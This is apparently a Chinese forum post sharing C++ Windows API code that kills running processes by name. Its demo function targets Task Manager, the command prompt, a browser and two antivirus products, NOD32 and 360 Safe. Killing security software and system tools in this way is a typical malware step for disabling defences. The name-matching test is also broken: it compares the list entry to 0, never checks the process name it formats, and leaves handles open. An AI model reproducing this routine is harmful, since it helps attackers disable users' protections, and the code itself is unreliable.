写了两个函数,纯API的大家参考下吧~~
//结束指定的进程用MyKillProcess(进程名称) 如MyKil..("qq.exe")
//第二个函数可以批量结束掉指定进程名称,方面别的位置调用
void MyKillProcess(LPCTSTR lpszFileList)
{
CStringArray szProcessList;
SplitString(lpszFileList, _T(","), szProcessList, FALSE);
if(szProcessList.GetSize()==0)
return;
HANDLE
hProcess;
HANDLE
hProcessSnap = NULL;
BOOL
bRet
= FALSE;
PROCESSENTRY32 pe32
= {0};
CString s = _T("");
//
建立系统信息快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return;
//
设置大小 sizeof(PROCESSENTRY32)
pe32.dwSize = sizeof(PROCESSENTRY32);
//
遍历进程
if (Process32First(hProcessSnap, &pe32))
{
do
{
s.Format(_T("%s"), pe32.szExeFile);
for(int i=0; i<szProcessList.GetSize(); i++)
{
if((szProcessList.GetAt(i))==0)
// 如果找到指定进程
{
hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
}
}
}
while (Process32Next(hProcessSnap, &pe32));
}
CloseHandle (hProcessSnap);
}
void KillDemo()
{
MyKillProcess(_T("taskmgr.exe,maxthon.exe,cmd.exe,nod32.exe,360safe.exe"));
}